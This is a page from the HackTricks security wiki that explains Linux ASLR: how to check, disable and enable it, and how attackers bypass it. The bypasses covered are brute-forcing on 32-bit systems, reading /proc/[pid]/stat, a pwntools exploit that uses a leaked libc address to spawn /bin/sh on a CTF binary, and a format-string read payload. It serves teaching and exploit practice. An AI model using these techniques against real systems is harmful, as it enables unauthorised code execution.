hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr
Carlos Polop cfff5cc9a8 re
2024-12-14 12:46:15 +01:00
..
README.md re 2024-12-14 12:46:15 +01:00
ret2plt.md re 2024-12-14 12:46:15 +01:00

ASLR

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Address Space Layout Randomization (ASLR) is a security technique used in operating systems to randomize the memory addresses used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.

Checking ASLR Status

To check the ASLR status on a Linux system, you can read the value from the /proc/sys/kernel/randomize_va_space file. The value stored in this file determines the type of ASLR being applied:

  • 0: No randomization. Everything is static.
  • 1: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
  • 2: Full randomization. In addition to elements randomized by conservative randomization, memory managed through brk() is randomized.

You can check the ASLR status with the following command:

cat /proc/sys/kernel/randomize_va_space

Disabling ASLR

To disable ASLR, you set the value of /proc/sys/kernel/randomize_va_space to 0. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

You can also disable ASLR for an execution with:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Enabling ASLR

To enable ASLR, you can write a value of 2 to the /proc/sys/kernel/randomize_va_space file. This typically requires root privileges. Enabling full randomization can be done with the following command:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistence Across Reboots

Changes made with the echo commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the /etc/sysctl.conf file and add or modify the following line:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

After editing /etc/sysctl.conf, apply the changes with:

sudo sysctl -p

This will ensure that your ASLR settings remain across reboots.

Bypasses

32bit brute-forcing

PaX divides the process address space into 3 groups:

  • Code and data (initialized and uninitialized): .text, .data, and .bss —> 16 bits of entropy in the delta_exec variable. This variable is randomly initialized with each process and added to the initial addresses.
  • Memory allocated by mmap() and shared libraries —> 16 bits, named delta_mmap.
  • The stack —> 24 bits, referred to as delta_stack. However, it effectively uses 11 bits (from the 10th to the 20th byte inclusive), aligned to 16 bytes —> This results in 524,288 possible real stack addresses.

The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.

Brute-force ideas:

  • If you have a big enough overflow to host a big NOP sled before the shellcode, you could just brute-force addresses in the stack until the flow jumps over some part of the NOP sled.
    • Another option for this in case the overflow is not that big and the exploit can be run locally is possible to add the NOP sled and shellcode in an environment variable.
  • If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • If attacking a remote server, you could try to brute-force the address of the libc function usleep, passing as argument 10 (for example). If at some point the server takes 10s extra to respond, you found the address of this function.

{% hint style="success" %} In 64bit systems the entropy is much higher and this isn't possible. {% endhint %}

Local Information (/proc/[pid]/stat)

The file /proc/[pid]/stat of a process is always readable by everyone and it contains interesting information such as:

  • startcode & endcode: Addresses above and below with the TEXT of the binary
  • startstack: The address of the start of the stack
  • start_data & end_data: Addresses above and below where the BSS is
  • kstkesp & kstkeip: Current ESP and EIP addresses
  • arg_start & arg_end: Addresses above and below where cli arguments are.
  • env_start &env_end: Addresses above and below where env variables are.

Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different input that can be crafted after reading this file. It's possible for an attacker to get some addresses from this file and construct offsets from them for the exploit.

{% hint style="success" %} For more info about this file check https://man7.org/linux/man-pages/man5/proc.5.html searching for /proc/pid/stat {% endhint %}

Having a leak

  • The challenge is giving a leak

If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the example from here (check that page for more details):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
    'A' * 32,
    libc.sym['system'],
    0x0,        # return address
    next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Abusing a buffer overflow it would be possible to exploit a ret2plt to exfiltrate an address of a function from the libc. Check:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

  • Format Strings Arbitrary Read

Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a libc function from the GOT. The following example is from here:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

You can find more info about Format Strings arbitrary read in:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

Try to bypass ASLR abusing addresses inside the stack:

{% content-ref url="../../stack-overflow/ret2ret.md" %} ret2ret.md {% endcontent-ref %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}